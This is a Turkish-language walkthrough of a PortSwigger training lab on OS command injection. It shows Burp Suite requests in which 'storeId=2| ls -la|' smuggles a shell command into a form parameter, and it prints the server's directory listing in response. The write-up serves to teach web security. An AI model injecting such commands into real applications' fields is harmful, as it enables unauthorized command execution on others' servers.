

PortSwigger Lab: OS command injection, simple case

Herkese selamlar ben Mansur Derda. Bugün PortSwigger üzerinde bulunan OS command injection zafiyetinin laboratuvarını anlatacağım

```
POST /product/stock HTTP/2
Host: 0a8b006b037e367182e61ab8008c0000.web-security-academy.net
Cookie: session=8nPFRmBlXetdyjU8pJjHcQAb7lMlz3yn
Content-Length: 21
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Content-Type: application/x-www-form-urlencoded
Accept-Language: tr-TR
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a8b006b037e367182e61ab8008c0000.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a8b006b037e367182e61ab8008c0000.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

productId=1&storeId=2
```

Burada iki adet id değerimiz var ve bunlar filtreleme işlemi görüyor. Ben bu parametrelerin yerine/devamına istediğim bir komut veya kodu eklersem ve bu çalışırsa mis gibi OS command injection zafiyetini bulup kullanmış oluyorum. Hadi bunu deneyelim.

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Settings

Decoder Comparer Logger Organizer Extensions Learn

9 x 10 x +

Send Cancel < > Target: [https://0a8b006b037e367182e61ab8008c0000.web...](https://0a8b006b037e367182e61ab8008c0000.web-security-academy.net) HTTP/2

Request

Pretty Raw Hex

```
1 POST /product/stock HTTP/2
2 Host: 0a8b006b037e367182e61ab8008c0000.web-security-academy.net
3 Cookie: session=8nPFRmB1XetdyjU8pJjHcQAb7lMlz3yn
4 Content-Length: 21
5 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
6 Content-Type: application/x-www-form-urlencoded
7 Accept-Language: tr-TR
8 Sec-Ch-Ua-Mobile: ?0
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
10 Gecko) Chrome/127.0.6533.100 Safari/537.36
11 Sec-Ch-Ua-Platform: "Windows"
12 Accept: */*
13 Origin: https://0a8b006b037e367182e61ab8008c0000.web-security-academy.net
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: cors
16 Sec-Fetch-Dest: empty
17 Referer: https://0a8b006b037e367182e61ab8008c0000.web-security-academy.net/product?productId=1
18 Accept-Encoding: gzip, deflate, br
19 Priority: u=1, i
20 productId=1&storeId=2
```

Öncelikle isteğimi repeater'a gönderdim

Request

```
1 POST /product/stock HTTP/2
2 Host: 0a8b006b037e367182e61ab8008c0000.web-security-academy.net
3 Cookie: session=8nPFRmBlXetdyjU8pJjHcQAb71Mlz3yn
4 Content-Length: 21
5 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
6 Content-Type: application/x-www-form-urlencoded
7 Accept-Language: tr-TR
8 Sec-Ch-Ua-Mobile: ?0
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
0 Gecko) Chrome/127.0.6533.100 Safari/537.36
1 Sec-Ch-Ua-Platform: "Windows"
2 Accept: */*
3 Origin: https://0a8b006b037e367182e61ab8008c0000.web-security-academy.net
4 Sec-Fetch-Site: same-origin
5 Sec-Fetch-Mode: cors
6 Sec-Fetch-Dest: empty
7 Referer:
8 https://0a8b006b037e367182e61ab8008c0000.web-security-academy.net/product?productId=1
9 Accept-Encoding: gzip, deflate, br
0 Priority: u=1, i
productId=1&storeId=2| ls -la|
```

Ardından işlem yapılan parametrelerin sonuna kendi girdimi ekledim. Burda linux komutu kullanmamın temel sebebi alışkanlık eğer burada hata alsaydım diğer işletim sistemlerinin komutlarını deneyecektim.

Ek olark burada " | " (pipe) işareti kullanmamın sebebi şu: önceki komuttan gelen çıktıyı alıp ls -ls komutuna girdi olarak veriyorum. Ancak " | " işaretiyle bu işlemi durdurup, işletim sistemi seviyesinde " ls -la " komutunun çalıştırılmasını sağladık.

Yukarıdaki isteği gönderiyorum.

Request

Pretty Raw Hex

```
.0 Sec-Ch-Ua-Platform: "Windows"
.1 Accept: */*
.2 Origin: https://0a8b006b037e367182e61ab8008c0000.web-security-academy.net
.3 Sec-Fetch-Site: same-origin
.4 Sec-Fetch-Mode: cors
.5 Sec-Fetch-Dest: empty
.6 Referer:
.7 https://0a8b006b037e367182e61ab8008c0000.web-security-academy.net/product?productId=1
.8 Accept-Encoding: gzip, deflate, br
.9 Priority: u=1, i
.10 productId=1&storeId=2| ls -la
```

? ⚙️ ⬅️ ➡️ Search 0 highlights

Response

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Content-Type: text/plain; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 359
5
6 total 16
7 drwxr-xr-x 2 peter-VtCRT0 peter 79 Sep 2 22:21 .
8 drwxr-xr-x 1 root root 39 Sep 2 22:21 ..
9 -rw-r--r-- 1 peter-VtCRT0 peter 220 Sep 2 22:21 .bash_logout
10 -rw-r--r-- 1 peter-VtCRT0 peter 3771 Sep 2 22:21 .bashrc
11 -rw-r--r-- 1 peter-VtCRT0 peter 807 Sep 2 22:21 .profile
12 -rw-r--r-- 1 peter-VtCRT0 peter 76 Sep 2 22:21 stockreport.sh
13
```

Görselden de anlaşılacağı üzere nur topu gibi bir zafiyet elde ettik. Ve listeleme işlemini başarıyla gerçekleştirmiş olduk.

Umarım bu yazı sizler için faydalı olmuştur.